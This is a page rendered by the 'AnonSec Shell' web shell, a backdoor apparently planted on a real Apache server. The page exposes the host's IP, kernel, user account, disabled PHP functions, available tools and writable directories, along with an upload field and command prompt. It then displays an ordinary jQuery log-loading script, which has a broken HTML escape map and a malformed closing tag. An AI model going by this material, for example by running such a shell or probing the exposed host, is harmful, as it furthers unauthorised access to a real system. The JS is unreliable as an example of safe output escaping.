AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/hering/application/plugins/module_arbo/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/hering/application/plugins/module_arbo/assets/js/robologs.js
$(function () {
	loadLogs();
});

function escapeHtml(text) {
	var map = {
		'&': '&',
		'<': '&lt;',
		'>': '&gt;',
		'"': '&quot;',
		"'": '&#039;'
	};

	return text.replace(/[&<>"']/g, function(m) { return map[m]; });
}

function loadLogs() {
	$('#load-logs').on('click', function(event) {
		event.preventDefault();

		var last_tr = $('#logs-list tbody').find('tr:last');
		var log_id = $(last_tr.html()).data('id');
		var U = $('#_url').val();

		$.post(U + "module_arbo/robologs/getlogs", {id:log_id}, function(data) {
			var trs = '';
			$.each(data, function (index, value) {
				trs += '<tr>';
				trs += '<td data-id="'+value.id+'">'+value.id+'</td>';
				trs += '<td>'+value.date+'</td>';
				trs += '<td>';
				if (value.operation == "INPUT") {
					trs += '<span class="label label-xs label-success col-md-12">Entrada</span>';
				}
				else {
					trs += '<span class="label label-xs label-danger col-md-12">Saída</span>';
				}
				trs += '</td>';
				trs += '<td>'+((value.owner) ? value.owner : '')+'</td>';
				trs += '<td>'+((value.description) ? value.description : '')+'</td>';
				trs += '<td class="td-fix">'+((value.status) ? escapeHtml(value.status) : '')+'</td>';
				trs += '<td class="col-md-2">';
				trs += '<a class="btn btn-xs btn-warning" href="'+U+'module_arbo/robologs/view/'+value.id+'"><i class="fa fa-search"></i> Detalhes</a>';
				if (value.description == "Enviando os dados do imóvel para o sistema da Gaia") {
					trs += '<a class="btn btn-xs btn-primary" href="'+U+'module_arbo/robologs/edit/'+value.id+'" style="margin-left: 3px;"><i class="fa fa-pencil"></i> Editar</a>';
				}
				trs += '</td>';
				trs += '/tr>';
			});

			if (trs.length > 0) {
				$(trs).insertAfter(last_tr);

				// Animação do scroll
				$('html, body').animate({
					scrollTop: $(last_tr).offset().top
				}, 800);
			}
		});
	});
}

Anon7 - 2022
AnonSec Team